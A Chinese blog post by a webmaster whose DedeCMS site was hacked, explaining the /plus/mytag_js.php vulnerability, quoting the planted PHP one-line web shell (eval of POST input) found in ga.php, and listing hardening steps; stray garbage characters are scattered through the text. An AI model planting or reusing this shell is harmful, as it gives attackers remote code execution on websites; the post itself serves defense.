|
dedecms一直是很火的建站cms,主要得益于两大站长网的鼎力支持;不过,人火是非多,cms太火了同样会被别有用心的人盯上。我的网站一直在使用dedecms,前段时间又一次受到攻击,攻击的目的很简单,那么便是黑链,知道后稍微修改下代码就恢复了,不是很严重;这段时间网站又被莫名上传文件,类似前一次,虽然对方还没来得及修改网站模板,不过这说明网站安全防患还未到位,对方任何时候都可能再次取得管理员权限,所以要特别注意网站的安全防患措施。 因为我比较喜欢寻根究底,所以就去网上找了一下相关的资料,发现这确实是dedecms的漏洞,黑客可以利用多维的变量绕过正则检测,漏洞主要发生在/plus/mytag_js.php中,原理便是准备一个MySQL数据库来攻击已知网站的数据库,通过向数据库中写入一句话的代码,只要成功写入,那么以后便可以利用这些代码来获得后台管理员权限。
) j+ w" w3 `- [5 \/ i' n5 W# [ 结合我的网站被攻击已经别人类似的经历来看,黑客写入的文件主要存在于/plus/文件夹下,目前已知的几个文件包括ga.php、log.php、b.php、b1.php等,文件的特征便是短小,内容很少,可能写入的时候不是很方便,不过这些代码的作用确实不小的。) e& m5 y% s' L1 ]& @4 W \
下面这是ga.php文件中的部分代码: J/ j t" u- n7 H% R) |+ Y* i0 C/ p! {
<title>login</title>no<?php
& @! `! S( q4 _* S' g. ~eval($_POST[1])/ ]3 S! e/ n& j+ ~+ U4 Z; ~
?>; f1 r9 B; j" S% x$ I" ?
<title>login</title>no<?php1 s5 p5 a5 I+ T3 I- E$ ?" W! Z
eval($_POST[1])' @. H1 N$ w: U
?>
, A( B; o3 }; j<title>login</title>no<?php2 b8 w/ t1 [. D3 I
eval($_POST[1])+ q$ W" s* [ \" O/ S/ D; |+ w" ~
?>, Q2 A' _. X5 Y5 ]
实际的代码比上面截取的要长,不过都是这段代码的重复,至于log.php的代码,同这个类似,只有一句话,简单明了,如果你对网络安全稍有了解,那么会知道是php一句话木马,使用部分指定的工具可以执行这段代码,预计是破解密码的功能。& ^, T z( _( y* Q
既然已经知道对方是利用什么样的漏洞,同时知道对方利用什么样的原理来利用漏洞,那么要怎么预防这些危险的事发生呢?经过查询大量的资料,我初步整理出下面这些预防漏洞被利用的步骤,希望对同样适用dedecms的站长朋友们有所帮助。' [% n$ K( Q: H4 H2 Y# N$ z
一、升级版本打好补丁设置目录权限
5 c3 K1 f: |8 J( k; F 这是官方对此的解决办法,不管你使用的是什么版本的dedecms,都要及时在后台升级版本自动更新补丁,这是避免漏洞被利用的最重要的一步;同时官方还提供设置目录的方法,主要是设置data、templets、uploads、a为可读写不可执行权限;include、member、plus、后台管理目录等设置为可执行可读不可写入权限;删除install及special目录,具体如何设置见官方说明。; e& H. }4 z2 e, ^3 E8 E8 Z3 b0 g8 F
二、修改admin账号及密码
6 u4 j% ]! P+ ^ W 黑客可能是利用默认admin账号,随后推测密码来破解的,所以修改默认的admin账号非常重要,至于如何修改,方法很多,比较有效的是用phpadmin登陆网站数据库,找到dede_admin数据库表(dede是数据库表前缀),修改其中userid及pwd两项,其中密码一定要修改成f297a57a5a743894a0e4,这是默认的密码admin;修改后去后台登陆,登陆dede后台后修改密码。
; }0 |4 _) A) I' n4 y k1 t 三、别的值得注意的地方0 A4 g, N; V; q, e% }/ o* t3 w) E
至于更多的细节,同样要注意,尽量别选择太廉价的空间,太廉价的空间很容易出现服务器本身的安全问题,只要服务器出现问题,整个服务器下面的网站都没救了。还有便是,如果没必要,尽量别开通会员注册什么的,使用起来很麻烦;至于网站后台目录,不要写到robots.txt里面,同时每个月至少换一次,管理员密码什么的同样要更换,避免和别的账号密码相同被推测出来。
% {$ n, M. i1 C |
|